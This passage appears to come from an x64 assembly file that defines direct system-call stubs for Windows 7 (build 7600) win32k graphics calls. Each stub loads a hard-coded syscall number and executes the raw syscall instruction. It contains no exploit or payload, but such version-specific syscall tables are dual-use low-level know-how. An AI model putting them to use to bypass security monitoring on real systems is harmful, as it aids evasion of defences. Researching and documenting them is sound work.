, ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDDCCIGetCapabilitiesString PROC STDCALL mov r10 , rcx mov eax , 4421 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDDCCIGetCapabilitiesString ENDP ; ULONG64 __stdcall NtGdiDDCCIGetCapabilitiesStringLength( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDDCCIGetCapabilitiesStringLength PROC STDCALL mov r10 , rcx mov eax , 4422 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDDCCIGetCapabilitiesStringLength ENDP ; ULONG64 __stdcall NtGdiDDCCIGetTimingReport( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDDCCIGetTimingReport PROC STDCALL mov r10 , rcx mov eax , 4423 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDDCCIGetTimingReport ENDP ; ULONG64 __stdcall NtGdiDDCCIGetVCPFeature( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiDDCCIGetVCPFeature PROC STDCALL mov r10 , rcx mov eax , 4424 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDDCCIGetVCPFeature ENDP ; ULONG64 __stdcall NtGdiDDCCISaveCurrentSettings( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDDCCISaveCurrentSettings PROC STDCALL mov r10 , rcx mov eax , 4425 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDDCCISaveCurrentSettings ENDP ; ULONG64 __stdcall NtGdiDDCCISetVCPFeature( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDDCCISetVCPFeature PROC STDCALL mov r10 , rcx mov eax , 4426 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDDCCISetVCPFeature ENDP ; ULONG64 __stdcall NtGdiDdAddAttachedSurface( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDdAddAttachedSurface PROC STDCALL mov r10 , rcx mov eax , 4427 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdAddAttachedSurface ENDP ; ULONG64 __stdcall NtGdiDdAlphaBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDdAlphaBlt PROC STDCALL mov r10 , rcx mov eax , 4428 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdAlphaBlt ENDP ; ULONG64 __stdcall NtGdiDdAttachSurface( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdAttachSurface PROC STDCALL mov r10 , rcx mov eax , 4429 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdAttachSurface ENDP ; ULONG64 __stdcall NtGdiDdBeginMoCompFrame( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdBeginMoCompFrame PROC STDCALL mov r10 , rcx mov eax , 4430 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdBeginMoCompFrame ENDP ; ULONG64 __stdcall NtGdiDdCanCreateD3DBuffer( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdCanCreateD3DBuffer PROC STDCALL mov r10 , rcx mov eax , 4431 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdCanCreateD3DBuffer ENDP ; ULONG64 __stdcall NtGdiDdColorControl( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdColorControl PROC STDCALL mov r10 , rcx mov eax , 4432 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdColorControl ENDP ; ULONG64 __stdcall NtGdiDdCreateD3DBuffer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtGdiDdCreateD3DBuffer PROC STDCALL mov r10 , rcx mov eax , 4433 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdCreateD3DBuffer ENDP ; ULONG64 __stdcall NtGdiDdCreateDirectDrawObject( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdCreateDirectDrawObject PROC STDCALL mov r10 , rcx mov eax , 4434 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdCreateDirectDrawObject ENDP ; ULONG64 __stdcall NtGdiDdCreateFullscreenSprite( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiDdCreateFullscreenSprite PROC STDCALL mov r10 , rcx mov eax , 4435 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdCreateFullscreenSprite ENDP ; ULONG64 __stdcall NtGdiDdCreateMoComp( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdCreateMoComp PROC STDCALL mov r10 , rcx mov eax , 4436 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdCreateMoComp ENDP ; ULONG64 __stdcall NtGdiDdDDIAcquireKeyedMutex( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIAcquireKeyedMutex PROC STDCALL mov r10 , rcx mov eax , 4437 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIAcquireKeyedMutex ENDP ; ULONG64 __stdcall NtGdiDdDDICheckExclusiveOwnership( ); _6_1_7600_sp0_windows_7_NtGdiDdDDICheckExclusiveOwnership PROC STDCALL mov r10 , rcx mov eax , 4438 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICheckExclusiveOwnership ENDP ; ULONG64 __stdcall NtGdiDdDDICheckMonitorPowerState( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDICheckMonitorPowerState PROC STDCALL mov r10 , rcx mov eax , 4439 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICheckMonitorPowerState ENDP ; ULONG64 __stdcall NtGdiDdDDICheckOcclusion( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDICheckOcclusion PROC STDCALL mov r10 , rcx mov eax , 4440 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICheckOcclusion ENDP ; ULONG64 __stdcall NtGdiDdDDICheckSharedResourceAccess( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDICheckSharedResourceAccess PROC STDCALL mov r10 , rcx mov eax , 4441 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICheckSharedResourceAccess ENDP ; ULONG64 __stdcall NtGdiDdDDICheckVidPnExclusiveOwnership( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDICheckVidPnExclusiveOwnership PROC STDCALL mov r10 , rcx mov eax , 4442 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICheckVidPnExclusiveOwnership ENDP ; ULONG64 __stdcall NtGdiDdDDICloseAdapter( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDICloseAdapter PROC STDCALL mov r10 , rcx mov eax , 4443 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICloseAdapter ENDP ; ULONG64 __stdcall NtGdiDdDDIConfigureSharedResource( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIConfigureSharedResource PROC STDCALL mov r10 , rcx mov eax , 4444 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIConfigureSharedResource ENDP ; ULONG64 __stdcall NtGdiDdDDICreateAllocation( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDICreateAllocation PROC STDCALL mov r10 , rcx mov eax , 4445 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICreateAllocation ENDP ; ULONG64 __stdcall NtGdiDdDDICreateContext( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDICreateContext PROC STDCALL mov r10 , rcx mov eax , 4446 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICreateContext ENDP ; ULONG64 __stdcall NtGdiDdDDICreateDCFromMemory( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDICreateDCFromMemory PROC STDCALL mov r10 , rcx mov eax , 4447 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICreateDCFromMemory ENDP ; ULONG64 __stdcall NtGdiDdDDICreateDevice( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDICreateDevice PROC STDCALL mov r10 , rcx mov eax , 4448 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICreateDevice ENDP ; ULONG64 __stdcall NtGdiDdDDICreateKeyedMutex( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDICreateKeyedMutex PROC STDCALL mov r10 , rcx mov eax , 4449 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICreateKeyedMutex ENDP ; ULONG64 __stdcall NtGdiDdDDICreateOverlay( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDICreateOverlay PROC STDCALL mov r10 , rcx mov eax , 4450 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICreateOverlay ENDP ; ULONG64 __stdcall NtGdiDdDDICreateSynchronizationObject( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDICreateSynchronizationObject PROC STDCALL mov r10 , rcx mov eax , 4451 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDICreateSynchronizationObject ENDP ; ULONG64 __stdcall NtGdiDdDDIDestroyAllocation( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroyAllocation PROC STDCALL mov r10 , rcx mov eax , 4452 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroyAllocation ENDP ; ULONG64 __stdcall NtGdiDdDDIDestroyContext( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroyContext PROC STDCALL mov r10 , rcx mov eax , 4453 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroyContext ENDP ; ULONG64 __stdcall NtGdiDdDDIDestroyDCFromMemory( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroyDCFromMemory PROC STDCALL mov r10 , rcx mov eax , 4454 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroyDCFromMemory ENDP ; ULONG64 __stdcall NtGdiDdDDIDestroyDevice( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroyDevice PROC STDCALL mov r10 , rcx mov eax , 4455 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroyDevice ENDP ; ULONG64 __stdcall NtGdiDdDDIDestroyKeyedMutex( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroyKeyedMutex PROC STDCALL mov r10 , rcx mov eax , 4456 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroyKeyedMutex ENDP ; ULONG64 __stdcall NtGdiDdDDIDestroyOverlay( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroyOverlay PROC STDCALL mov r10 , rcx mov eax , 4457 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroyOverlay ENDP ; ULONG64 __stdcall NtGdiDdDDIDestroySynchronizationObject( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroySynchronizationObject PROC STDCALL mov r10 , rcx mov eax , 4458 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIDestroySynchronizationObject ENDP ; ULONG64 __stdcall NtGdiDdDDIEscape( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIEscape PROC STDCALL mov r10 , rcx mov eax , 4459 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIEscape ENDP ; ULONG64 __stdcall NtGdiDdDDIFlipOverlay( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIFlipOverlay PROC STDCALL mov r10 , rcx mov eax , 4460 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIFlipOverlay ENDP ; ULONG64 __stdcall NtGdiDdDDIGetContextSchedulingPriority( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIGetContextSchedulingPriority PROC STDCALL mov r10 , rcx mov eax , 4461 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIGetContextSchedulingPriority ENDP ; ULONG64 __stdcall NtGdiDdDDIGetDeviceState( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIGetDeviceState PROC STDCALL mov r10 , rcx mov eax , 4462 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIGetDeviceState ENDP ; ULONG64 __stdcall NtGdiDdDDIGetDisplayModeList( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIGetDisplayModeList PROC STDCALL mov r10 , rcx mov eax , 4463 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIGetDisplayModeList ENDP ; ULONG64 __stdcall NtGdiDdDDIGetMultisampleMethodList( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIGetMultisampleMethodList PROC STDCALL mov r10 , rcx mov eax , 4464 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIGetMultisampleMethodList ENDP ; ULONG64 __stdcall NtGdiDdDDIGetOverlayState( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIGetOverlayState PROC STDCALL mov r10 , rcx mov eax , 4465 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIGetOverlayState ENDP ; ULONG64 __stdcall NtGdiDdDDIGetPresentHistory( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIGetPresentHistory PROC STDCALL mov r10 , rcx mov eax , 4466 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIGetPresentHistory ENDP ; ULONG64 __stdcall NtGdiDdDDIGetPresentQueueEvent( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIGetPresentQueueEvent PROC STDCALL mov r10 , rcx mov eax , 4467 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIGetPresentQueueEvent ENDP ; ULONG64 __stdcall NtGdiDdDDIGetProcessSchedulingPriorityClass( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIGetProcessSchedulingPriorityClass PROC STDCALL mov r10 , rcx mov eax , 4468 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIGetProcessSchedulingPriorityClass ENDP ; ULONG64 __stdcall NtGdiDdDDIGetRuntimeData( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIGetRuntimeData PROC STDCALL mov r10 , rcx mov eax , 4469 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIGetRuntimeData ENDP ; ULONG64 __stdcall NtGdiDdDDIGetScanLine( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIGetScanLine PROC STDCALL mov r10 , rcx mov eax , 4470 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIGetScanLine ENDP ; ULONG64 __stdcall NtGdiDdDDIGetSharedPrimaryHandle( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIGetSharedPrimaryHandle PROC STDCALL mov r10 , rcx mov eax , 4471 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIGetSharedPrimaryHandle ENDP ; ULONG64 __stdcall NtGdiDdDDIInvalidateActiveVidPn( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIInvalidateActiveVidPn PROC STDCALL mov r10 , rcx mov eax , 4472 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIInvalidateActiveVidPn ENDP ; ULONG64 __stdcall NtGdiDdDDILock( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDILock PROC STDCALL mov r10 , rcx mov eax , 4473 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDILock ENDP ; ULONG64 __stdcall NtGdiDdDDIOpenAdapterFromDeviceName( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIOpenAdapterFromDeviceName PROC STDCALL mov r10 , rcx mov eax , 4474 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIOpenAdapterFromDeviceName ENDP ; ULONG64 __stdcall NtGdiDdDDIOpenAdapterFromHdc( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIOpenAdapterFromHdc PROC STDCALL mov r10 , rcx mov eax , 4475 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIOpenAdapterFromHdc ENDP ; ULONG64 __stdcall NtGdiDdDDIOpenKeyedMutex( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIOpenKeyedMutex PROC STDCALL mov r10 , rcx mov eax , 4476 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIOpenKeyedMutex ENDP ; ULONG64 __stdcall NtGdiDdDDIOpenResource( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIOpenResource PROC STDCALL mov r10 , rcx mov eax , 4477 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIOpenResource ENDP ; ULONG64 __stdcall NtGdiDdDDIOpenSynchronizationObject( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIOpenSynchronizationObject PROC STDCALL mov r10 , rcx mov eax , 4478 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIOpenSynchronizationObject ENDP ; ULONG64 __stdcall NtGdiDdDDIPollDisplayChildren( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIPollDisplayChildren PROC STDCALL mov r10 , rcx mov eax , 4479 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIPollDisplayChildren ENDP ; ULONG64 __stdcall NtGdiDdDDIPresent( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIPresent PROC STDCALL mov r10 , rcx mov eax , 4480 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIPresent ENDP ; ULONG64 __stdcall NtGdiDdDDIQueryAdapterInfo( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIQueryAdapterInfo PROC STDCALL mov r10 , rcx mov eax , 4481 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIQueryAdapterInfo ENDP ; ULONG64 __stdcall NtGdiDdDDIQueryAllocationResidency( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIQueryAllocationResidency PROC STDCALL mov r10 , rcx mov eax , 4482 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIQueryAllocationResidency ENDP ; ULONG64 __stdcall NtGdiDdDDIQueryResourceInfo( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIQueryResourceInfo PROC STDCALL mov r10 , rcx mov eax , 4483 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIQueryResourceInfo ENDP ; ULONG64 __stdcall NtGdiDdDDIQueryStatistics( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIQueryStatistics PROC STDCALL mov r10 , rcx mov eax , 4484 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIQueryStatistics ENDP ; ULONG64 __stdcall NtGdiDdDDIReleaseKeyedMutex( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIReleaseKeyedMutex PROC STDCALL mov r10 , rcx mov eax , 4485 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIReleaseKeyedMutex ENDP ; ULONG64 __stdcall NtGdiDdDDIReleaseProcessVidPnSourceOwners( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIReleaseProcessVidPnSourceOwners PROC STDCALL mov r10 , rcx mov eax , 4486 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIReleaseProcessVidPnSourceOwners ENDP ; ULONG64 __stdcall NtGdiDdDDIRender( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIRender PROC STDCALL mov r10 , rcx mov eax , 4487 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIRender ENDP ; ULONG64 __stdcall NtGdiDdDDISetAllocationPriority( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDISetAllocationPriority PROC STDCALL mov r10 , rcx mov eax , 4488 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDISetAllocationPriority ENDP ; ULONG64 __stdcall NtGdiDdDDISetContextSchedulingPriority( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDISetContextSchedulingPriority PROC STDCALL mov r10 , rcx mov eax , 4489 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDISetContextSchedulingPriority ENDP ; ULONG64 __stdcall NtGdiDdDDISetDisplayMode( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDISetDisplayMode PROC STDCALL mov r10 , rcx mov eax , 4490 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDISetDisplayMode ENDP ; ULONG64 __stdcall NtGdiDdDDISetDisplayPrivateDriverFormat( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDISetDisplayPrivateDriverFormat PROC STDCALL mov r10 , rcx mov eax , 4491 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDISetDisplayPrivateDriverFormat ENDP ; ULONG64 __stdcall NtGdiDdDDISetGammaRamp( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDISetGammaRamp PROC STDCALL mov r10 , rcx mov eax , 4492 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDISetGammaRamp ENDP ; ULONG64 __stdcall NtGdiDdDDISetProcessSchedulingPriorityClass( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdDDISetProcessSchedulingPriorityClass PROC STDCALL mov r10 , rcx mov eax , 4493 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDISetProcessSchedulingPriorityClass ENDP ; ULONG64 __stdcall NtGdiDdDDISetQueuedLimit( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDISetQueuedLimit PROC STDCALL mov r10 , rcx mov eax , 4494 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDISetQueuedLimit ENDP ; ULONG64 __stdcall NtGdiDdDDISetVidPnSourceOwner( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDISetVidPnSourceOwner PROC STDCALL mov r10 , rcx mov eax , 4495 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDISetVidPnSourceOwner ENDP ; ULONG64 __stdcall NtGdiDdDDISharedPrimaryLockNotification( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDISharedPrimaryLockNotification PROC STDCALL mov r10 , rcx mov eax , 4496 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDISharedPrimaryLockNotification ENDP ; ULONG64 __stdcall NtGdiDdDDISharedPrimaryUnLockNotification( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDISharedPrimaryUnLockNotification PROC STDCALL mov r10 , rcx mov eax , 4497 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDISharedPrimaryUnLockNotification ENDP ; ULONG64 __stdcall NtGdiDdDDISignalSynchronizationObject( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDISignalSynchronizationObject PROC STDCALL mov r10 , rcx mov eax , 4498 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDISignalSynchronizationObject ENDP ; ULONG64 __stdcall NtGdiDdDDIUnlock( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIUnlock PROC STDCALL mov r10 , rcx mov eax , 4499 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIUnlock ENDP ; ULONG64 __stdcall NtGdiDdDDIUpdateOverlay( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIUpdateOverlay PROC STDCALL mov r10 , rcx mov eax , 4500 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIUpdateOverlay ENDP ; ULONG64 __stdcall NtGdiDdDDIWaitForIdle( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIWaitForIdle PROC STDCALL mov r10 , rcx mov eax , 4501 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIWaitForIdle ENDP ; ULONG64 __stdcall NtGdiDdDDIWaitForSynchronizationObject( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIWaitForSynchronizationObject PROC STDCALL mov r10 , rcx mov eax , 4502 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIWaitForSynchronizationObject ENDP ; ULONG64 __stdcall NtGdiDdDDIWaitForVerticalBlankEvent( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDDIWaitForVerticalBlankEvent PROC STDCALL mov r10 , rcx mov eax , 4503 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDDIWaitForVerticalBlankEvent ENDP ; ULONG64 __stdcall NtGdiDdDeleteDirectDrawObject( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDeleteDirectDrawObject PROC STDCALL mov r10 , rcx mov eax , 4504 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDeleteDirectDrawObject ENDP ; ULONG64 __stdcall NtGdiDdDestroyD3DBuffer( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDestroyD3DBuffer PROC STDCALL mov r10 , rcx mov eax , 4505 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDestroyD3DBuffer ENDP ; ULONG64 __stdcall NtGdiDdDestroyFullscreenSprite( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdDestroyFullscreenSprite PROC STDCALL mov r10 , rcx mov eax , 4506 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDestroyFullscreenSprite ENDP ; ULONG64 __stdcall NtGdiDdDestroyMoComp( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdDestroyMoComp PROC STDCALL mov r10 , rcx mov eax , 4507 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDestroyMoComp ENDP ; ULONG64 __stdcall NtGdiDdEndMoCompFrame( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdEndMoCompFrame PROC STDCALL mov r10 , rcx mov eax , 4508 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdEndMoCompFrame ENDP ; ULONG64 __stdcall NtGdiDdFlip( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiDdFlip PROC STDCALL mov r10 , rcx mov eax , 4509 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdFlip ENDP ; ULONG64 __stdcall 